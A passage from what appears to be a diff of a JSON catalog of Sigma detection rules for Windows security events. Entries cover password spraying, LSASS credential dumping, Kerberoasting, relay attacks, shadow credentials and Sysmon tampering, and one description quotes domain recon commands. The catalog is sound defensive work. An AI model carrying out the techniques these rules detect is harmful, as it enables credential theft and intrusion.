"https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", - "value": "Valid Users Failing to Authenticate from Single Source Using NTLM" - }, - { - "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", - "meta": { - "author": "Mauricio Velazco", - "creation_date": "2021/06/01", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml", - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", - "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM" - }, - { - "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/19", - "falsepositive": [ - "User using a disabled account" - ], - "filename": "win_security_susp_failed_logon_reasons.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1101431884540710913", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", - "value": "Account Tampering - Suspicious Failed Logon Reasons" - }, - { - "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", - "meta": { - "author": "NVISO", - "creation_date": "2020/05/06", - "falsepositive": [ - "Legitimate logon attempts over the internet", - "IPv4-to-IPv6 mapped IPs" - ], - "filename": "win_security_susp_failed_logon_source.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.t1078", - "attack.t1190", - "attack.t1133" - ] - }, - "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", - "value": "Failed Logon From Public IP" - }, - { - "description": "Detects a source system failing to authenticate against a remote host with multiple users.", - "meta": { - "author": "Mauricio Velazco", - "creation_date": "2021/06/01", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "filename": "win_security_susp_failed_remote_logons_single_source.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml", - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ] - }, - "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", - "value": "Multiple Users Remotely Failing To Authenticate From Single Source" - }, - { - "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/10", - "falsepositive": [ - "Faulty legacy applications" - ], - "filename": "win_security_susp_kerberos_manipulation.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ] - }, - "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", - "value": "Kerberos Manipulation" - }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", - "meta": { - "author": "@SBousseaden, Florian Roth", - "creation_date": "2022/04/27", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_krbrelayup.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml", - "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", - "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ] - }, - "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", - "value": "KrbRelayUp Attack Pattern" - }, - { - "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", - "meta": { - "author": "xknow @xknow_infosec", - "creation_date": "2019/03/24", - "falsepositive": [ - "Companies, who may use these default LDAP-Attributes for personal information" - ], - "filename": "win_security_susp_ldap_dataexchange.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/fox-it/LDAPFragger", - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/" - ], - "tags": [ - "attack.t1001.003", - "attack.command_and_control" - ] - }, - "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", - "value": "Suspicious LDAP-Attributes Used" - }, - { - "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", - "meta": { - "author": "James Pemberton / @4A616D6573", - "creation_date": "2019/10/31", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_local_anon_logon_created.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1189469425482829824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "attack.t1136.002" - ] - }, - "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", - "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created" - }, - { - "description": "Detects suspicious processes logging on with explicit credentials", - "meta": { - "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", - "creation_date": "2020/10/05", - "falsepositive": [ - "Administrators that use the RunAS command or scheduled tasks" - ], - "filename": "win_security_susp_logon_explicit_credentials.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" - ], - "tags": [ - "attack.t1078", - "attack.lateral_movement" - ] - }, - "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", - "value": "Suspicious Remote Logon with Explicit Credentials" - }, - { - "description": "Detects logon events that specify new credentials", - "meta": { - "author": "Max Altgelt", - "creation_date": "2022/04/06", - "falsepositive": [ - "Legitimate remote administration activity" - ], - "filename": "win_security_susp_logon_newcredentials.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" - ], - "tags": "No established tags" - }, - "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", - "value": "Outgoing Logon with New Credentials" - }, - { - "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", - "meta": { - "author": "sigma", - "creation_date": "2017/02/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_lsass_dump.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml", - "https://twitter.com/jackcr/status/807385668833968128" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", - "value": "Password Dumper Activity on LSASS" - }, - { - "description": "Detects process handle on LSASS process with certain access mask", - "meta": { - "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", - "creation_date": "2019/11/01", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" - ], - "filename": "win_security_susp_lsass_dump_generic.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" - ], - "tags": [ - "attack.credential_access", - "car.2019-04-004", - "attack.t1003.001" - ] - }, - "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", - "value": "Generic Password Dumper Activity on LSASS" - }, - { - "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", - "meta": { - "author": "Vasiliy Burov, oscd.community", - "creation_date": "2020/10/16", - "falsepositive": [ - "Software uninstallation", - "Files restore activities" - ], - "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml", - "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", - "value": "Suspicious Multiple File Rename Or Delete Occurred" - }, - { - "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", - "meta": { - "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", - "creation_date": "2017/03/07", - "falsepositive": [ - "Administrator activity" - ], - "filename": "win_security_susp_net_recon_activity.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml", - "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002", - "attack.t1069.002", - "attack.s0039" - ] - }, - "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", - "value": "Reconnaissance Activity" - }, - { - "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/09", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "filename": "win_security_susp_opened_encrypted_zip.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" - ], - "tags": "No established tags" - }, - "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", - "value": "Password Protected ZIP File Opened" - }, - { - "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/09", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "filename": "win_security_susp_opened_encrypted_zip_filename.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" - ], - "tags": "No established tags" - }, - "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", - "value": "Password Protected ZIP File Opened (Suspicious Filenames)" - }, - { - "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/09", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" - ], - "tags": "No established tags" - }, - "uuid": "571498c8-908e-40b4-910b-d2369159a3da", - "value": "Password Protected ZIP File Opened (Email Attachment)" - }, - { - "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", - "meta": { - "author": "Ilyas Ochkov, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Other browsers" - ], - "filename": "win_security_susp_outbound_kerberos_connection.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml", - "https://github.com/GhostPack/Rubeus" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1558.003" - ] - }, - "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", - "value": "Suspicious Outbound Kerberos Connection" - }, - { - "description": "Detects possible addition of shadow credentials to an active directory object.", - "meta": { - "author": "Nasreddine Bencherchali (rule), Elastic (idea)", - "creation_date": "2022/10/17", - "falsepositive": [ - "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" - ], - "filename": "win_security_susp_possible_shadow_credentials_added.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1581300963650187264?", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml", - "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", - "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html" - ], - "tags": [ - "attack.credential_access", - "attack.t1556" - ] - }, - "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", - "value": "Possible Shadow Credentials Added" - }, - { - "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_psexec.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", - "value": "Suspicious PsExec Execution" - }, - { - "description": "Detects known sensitive file extensions accessed on a network share", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "Help Desk operator doing backup or re-imaging end user machine or backup software", - "Users working with these data types or exchanging message files" - ], - "filename": "win_security_susp_raccess_sensitive_fext.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml" - ], - "tags": [ - "attack.collection", - "attack.t1039" - ] - }, - "uuid": "91c945bc-2ad1-4799-a591-4d00198a1215", - "value": "Suspicious Access to Sensitive File Extensions" - }, - { - "description": "Detects service ticket requests using RC4 encryption type", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/02/06", - "falsepositive": [ - "Service accounts used on legacy systems (e.g. NetApp)", - "Windows Domains with DFL 2003 and legacy systems" - ], - "filename": "win_security_susp_rc4_kerberos.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml", - "https://adsecurity.org/?p=3458" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "496a0e47-0a33-4dca-b009-9e6ca3591f39", - "value": "Suspicious Kerberos RC4 Ticket Encryption" - }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", - "meta": { - "author": "@SBousseaden, Florian Roth", - "creation_date": "2019/11/15", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_susp_rottenpotato.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/SBousseaden/status/1195284233729777665", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rottenpotato.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access", - "attack.t1557.001" - ] - }, - "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", - "value": "RottenPotato Like Attack Pattern" - }, - { - "description": "Detects a possible remote NTLM hash change through SAMR API SamiChangePasswordUser() or SamSetInformationUser().\n\"Audit User Account Management\" in \"Advanced Audit Policy Configuration\" has to be enabled in your local security policy / GPO to see this events.\n", - "meta": { - "author": "Dimitrios Slamaris", - "creation_date": "2017/06/09", - "falsepositive": "No established falsepositives", - "filename": "win_security_susp_samr_pwset.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_samr_pwset.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ] - }, - "uuid": "7818b381-5eb1-4641-bea5-ef9e4cfb5951", - "value": "Possible Remote Password Change Through SAMR" - }, - { - "description": "Detects renaming of file while deletion with SDelete tool.", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2017/06/14", - "falsepositive": [ - "Legitimate usage of SDelete" - ], - "filename": "win_security_susp_sdelete.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_sdelete.yml", - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm", - "https://docs.microsoft.com/en-gb/sysinternals/downloads/sdelete" - ], - "tags": [ - "attack.impact", - "attack.defense_evasion", - "attack.t1070.004", - "attack.t1027.005", - "attack.t1485", - "attack.t1553.002", - "attack.s0195" - ] - }, - "uuid": "39a80702-d7ca-4a83-b776-525b1f86a36d", - "value": "Secure Deletion with SDelete" - }, - { - "description": "Detect scenarios where a potentially unauthorized application or user is modifying the system time.", - "meta": { - "author": "@neu5ron", - "creation_date": "2019/02/05", - "falsepositive": [ - "HyperV or other virtualization technologies with binary not listed in filter portion of detection" - ], - "filename": "win_security_susp_time_modification.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "Live environment caused by malware", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_time_modification.yml", - "Private Cuckoo Sandbox (from many years ago, no longer have hash, NDA as well)" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.006" - ] - }, - "uuid": "faa031b5-21ed-4e02-8881-2591f98d82ed", - "value": "Unauthorized System Time Modification" - }, - { - "description": "Detection of logins performed with WMI", - "meta": { - "author": "Thomas Patzke", - "creation_date": "2019/12/04", - "falsepositive": [ - "Monitoring tools", - "Legitimate system administration" - ], - "filename": "win_security_susp_wmi_login.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_wmi_login.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", - "value": "Login with WMI" - }, - { - "description": "Detects remote service activity via remote access to the svcctl named pipe", - "meta": { - "author": "Samir Bousseaden", - "creation_date": "2019/04/03", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_svcctl_remote_service.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml", - "https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html" - ], - "tags": [ - "attack.lateral_movement", - "attack.persistence", - "attack.t1021.002" - ] - }, - "uuid": "586a8d6b-6bfe-4ad9-9d78-888cd2fe50c3", - "value": "Remote Service Activity via SVCCTL Named Pipe" - }, - { - "description": "Detects handle requests and access operations to specific registry keys to calculate the SysKey", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_syskey_registry_access.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml", - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190625024610.html" - ], - "tags": [ - "attack.discovery", - "attack.t1012" - ] - }, - "uuid": "9a4ff3b8-6187-4fd2-8e8b-e0eae1129495", - "value": "SysKey Registry Keys Access" - }, - { - "description": "Potential threat actor tampering with Sysmon manifest and eventually disabling it", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/07/14", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_sysmon_channel_reference_deletion.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/Cyb3rWard0g/cf08c38c61f7e46e8404b38201ca01c8", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml", - "https://twitter.com/SecurityJosh/status/1283027365770276866", - "https://twitter.com/Flangvik/status/1283054508084473861", - "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ] - }, - "uuid": "18beca67-ab3e-4ee3-ba7a-a46ca8d7d0cc", - "value": "Sysmon Channel Reference Deletion" - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", - "meta": { - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "filename": "win_security_tap_driver_installation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ] - }, - "uuid": "9c8afa4d-0022-48f0-9456-3712466f9701", - "value": "Tap Driver Installation" - }, - { - "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", - "meta": { - "author": "@SerkinValery", - "creation_date": "2022/09/16", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_teams_suspicious_objectaccess.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml", - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" - ], - "tags": [ - "attack.credential_access", - "attack.t1528" - ] - }, - "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", - "value": "Suspicious Teams Application Related ObjectAcess Event" - }, - { - "description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Transferring sensitive files for legitimate administration work by legitimate administrator" - ], - "filename": "win_security_transf_files_with_cred_data_via_network_shares.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.001", - "attack.t1003.003" - ] - }, - "uuid": "910ab938-668b-401b-b08c-b596e80fdca5", - "value": "Transferring Files with Credential Data via Network Shares" - }, - { - "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/14", - "falsepositive": [ - "Legitimate administrative activity" - ], - "filename": "win_security_user_added_to_local_administrators.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078", - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", - "value": "User Added to Local Administrators" - }, - { - "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", - "meta": { - "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.t1558.003" - ] - }, - "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", - "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'" - }, - { - "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", - "meta": { - "author": "Patrick Bareiss", - "creation_date": "2019/04/18", - "falsepositive": [ - "Domain Controller Logs", - "Local accounts managed by privileged account management tools" - ], - "filename": "win_security_user_creation.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", - "value": "Local User Creation" - }, - { - "description": "Detects the loading of drivers via 'SeLoadDriverPrivilege' required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools.\nSo you have to work with a whitelist to find the bad stuff.\n", - "meta": { - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "creation_date": "2019/04/08", - "falsepositive": [ - "Other legimate tools loading drivers. There are some: Sysinternals, CPU-Z, AVs etc. - but not much. You have to baseline this according to your used products and allowed tools. Also try to exclude users, which are allowed to load drivers." - ], - "filename": "win_security_user_driver_loaded.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "f63508a0-c809-4435-b3be-ed819394d612", - "value": "Suspicious Driver Loaded By User" - }, - { - "description": "Detects a user log-off activity. Could be used for example to correlate information during forensic investigations", - "meta": { - "author": "frack113", - "creation_date": "2022/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": 